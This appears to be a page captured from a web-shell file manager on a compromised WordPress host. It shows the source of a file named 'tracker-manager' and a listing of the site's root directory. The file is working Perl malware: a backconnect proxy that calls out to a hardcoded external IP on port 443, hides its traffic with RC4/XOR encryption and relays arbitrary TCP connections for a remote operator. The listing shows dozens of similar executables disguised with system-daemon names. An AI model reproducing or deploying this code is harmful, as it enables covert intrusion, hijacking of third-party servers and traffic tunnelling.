CMS: WordPress Server IP: 199.188.206.67 Root: /home/fermwsot/public_html Directory: home/fermwsot/public_html
File: /home/fermwsot/public_html/tracker-manager #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.170'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port);
Name	Size	Modify	Permissions	Actions
.well-known	dir	2021-11-18 19:52:39	755	U
cgi-bin	dir	2025-12-29 23:29:19	755	U
wp-admin	dir	2026-02-16 20:58:44	755	U
wp-content	dir	2026-01-31 13:09:17	755	U
wp-includes	dir	2026-02-16 20:47:10	755	U
.desc	46 b	2025-12-04 22:33:23	644	U E O D
.descriptor	2.5 kb	2025-12-10 20:41:51	644	U E O D
.hcflag	31 b	2026-02-12 21:30:08	644	U E O D
.htaccess	1.4 kb	2025-12-11 01:48:35	644	U E O D
.htaccess.bk	523 b	2021-11-20 23:14:22	644	U E O D
.litespeed_flag	297 b	2026-02-16 02:32:12	644	U E O D
.user.ini	62 b	2025-12-11 01:48:35	644	U E O D
HostBlacklist.php	345 b	2026-01-20 14:58:41	644	U E O D
Jewelry.php	0 b	2025-12-29 13:24:46	644	U E O D
Log.php	1 kb	2026-02-06 14:02:14	644	U E O D
Timing.php	353 b	2026-02-07 09:36:02	644	U E O D
affiliate_news.php	0 b	2026-01-04 11:27:28	644	U E O D
aioseop_options.php	347 b	2026-01-26 10:07:08	644	U E O D
apache-helper.so	9 kb	2026-01-12 04:39:39	755	U E O D
asubscribe.php	0 b	2026-01-05 12:45:14	644	U E O D
categorieslatest.php	0 b	2025-12-24 09:56:19	644	U E O D
dbus-agent-helper	9 kb	2026-01-09 04:44:03	755	U E O D
dbus-agent.service	9 kb	2026-01-13 20:06:05	755	U E O D
dbus-daemon	9 kb	2026-01-15 12:02:52	755	U E O D
dbus-monitor	9 kb	2026-01-08 22:35:15	755	U E O D
dbus-service.so	9 kb	2026-01-13 16:04:29	755	U E O D
dbus-session	9 kb	2026-01-15 13:39:07	755	U E O D
error_log	36.3 mb	2026-02-16 23:18:57	644	U E O D
gallery.lang_it.php	65 b	2026-01-26 13:58:49	644	U E O D
gnome-agent-helper	9 kb	2026-01-14 20:57:51	755	U E O D
gnome-cgi.daemon	9 kb	2026-01-15 06:51:45	755	U E O D
gnome-service.so	9 kb	2025-12-30 02:57:39	755	U E O D
gnome-session.cgi	9 kb	2025-12-30 03:45:36	755	U E O D
gvfs-daemon.daemon	9 kb	2026-01-14 14:06:07	755	U E O D
gvfs-service-helper	9 kb	2025-12-29 22:30:11	755	U E O D
helptopics.php	0 b	2026-01-05 12:36:43	644	U E O D
imgremovaltool.php	0 b	2025-12-15 15:17:04	644	U E O D
import_status.php	0 b	2026-01-05 12:32:25	644	U E O D
index.blog.php	1 kb	2026-01-26 09:24:40	644	U E O D
iw_IL.php	0 b	2025-12-15 12:52:11	644	U E O D
jfe.txt	1 b	2026-01-21 02:26:49	644	U E O D
kde-cache.daemon	9 kb	2026-01-13 15:24:51	755	U E O D
kde-cgi.so	9 kb	2026-01-13 23:28:16	755	U E O D
kde-daemon.cgi	9 kb	2025-12-29 12:44:58	755	U E O D
kde-monitor	9 kb	2026-01-04 12:28:18	755	U E O D
kde-service.so	9 kb	2025-12-29 16:39:50	755	U E O D
kde-session.service	9 kb	2025-12-29 20:13:01	755	U E O D
lib-cache.service	9 kb	2025-12-29 20:57:38	755	U E O D
lib-worker.so	9 kb	2026-01-14 23:50:01	755	U E O D
license.txt	19.4 kb	2025-11-20 05:56:36	666	U E O D
nginx-cache	9 kb	2026-01-15 11:04:23	755	U E O D
nginx-cache.so	9 kb	2026-01-15 10:26:00	755	U E O D
nginx-cgi.daemon	9 kb	2026-01-08 22:36:36	755	U E O D
nginx-fpm.service	9 kb	2026-01-14 22:38:59	755	U E O D
nginx-helper.cgi	9 kb	2026-01-14 21:06:30	755	U E O D
nginx-helper.so	9 kb	2025-12-29 21:28:41	755	U E O D
nginx-manager.daemon	9 kb	2026-01-14 17:24:45	755	U E O D
nginx-service.service	9 kb	2025-12-29 23:30:36	755	U E O D
nginx-session.cgi	9 kb	2026-01-01 01:32:13	755	U E O D
nginx-session.daemon	9 kb	2026-01-13 15:05:24	755	U E O D
nginx-worker.daemon	9 kb	2026-01-12 22:38:06	755	U E O D
phocagallerycs.php	347 b	2026-01-26 09:26:04	644	U E O D
php-fpm.service	9 kb	2026-01-15 01:22:34	755	U E O D
popup_ask.php	0 b	2025-12-27 11:46:25	644	U E O D
pulse-agent.daemon	9 kb	2026-01-15 09:03:33	755	U E O D
pulse-cache	9 kb	2025-12-29 17:56:54	755	U E O D
pulse-cache-helper	9 kb	2026-01-14 22:48:43	755	U E O D
reading_eni.php	0 b	2026-01-05 10:58:08	644	U E O D
readme.html	7.3 kb	2025-11-20 05:56:36	666	U E O D
robots.txt	1.2 kb	2026-01-31 08:49:37	644	U E O D
ssh-agent-helper	9 kb	2026-01-13 12:52:28	755	U E O D
ssh-fpm.daemon	9 kb	2025-12-30 04:16:04	755	U E O D
ssh-service.service	9 kb	2026-01-15 08:24:49	755	U E O D
ssh-session-helper	9 kb	2026-01-11 22:40:30	755	U E O D
systemd-fpm	9 kb	2026-01-09 07:35:41	755	U E O D
systemd-fpm-helper	9 kb	2026-01-13 13:37:03	755	U E O D
systemd-fpm.service	9 kb	2026-01-13 21:38:25	755	U E O D
systemd-fpm.so	9 kb	2026-01-14 05:54:23	755	U E O D
systemd-session	9 kb	2026-01-12 16:39:44	755	U E O D
systemd-session.so	9 kb	2026-01-13 16:34:41	755	U E O D
tbl_alter.php	0 b	2026-01-03 13:11:43	644	U E O D
tracker-cgi-helper	9 kb	2026-01-14 10:54:04	755	U E O D
tracker-daemon.so	9 kb	2026-01-11 04:39:25	755	U E O D
tracker-manager	9 kb	2026-01-11 04:37:00	755	U E O D
tracker-monitor.cgi	9 kb	2026-01-13 23:09:04	755	U E O D
udisks-agent.so	9 kb	2026-01-13 19:17:30	755	U E O D
udisks-cgi.so	9 kb	2026-01-14 06:22:17	755	U E O D
udisks-fpm.daemon	9 kb	2026-01-13 14:37:03	755	U E O D
udisks-helper.cgi	9 kb	2025-12-29 18:58:36	755	U E O D
udisks-worker.service	9 kb	2026-01-15 02:51:32	755	U E O D
wp-blog-header.php	351 b	2025-11-20 05:56:36	666	U E O D
wp-hgizvsb.php	27.5 kb	2025-12-11 01:45:27	444	U E O D
wp-o5unjhin.php	27.5 kb	2025-12-11 01:45:27	444	U E O D
wp-sign.php	181.5 kb	2025-12-11 01:48:35	644	U E O D
wp-signup.php	33.7 kb	2025-11-20 05:56:36	666	U E O D
wysiwyg.php	0 b	2026-01-04 14:10:06	644	U E O D
xinha.php	65 b	2026-01-31 13:02:53	644	U E O D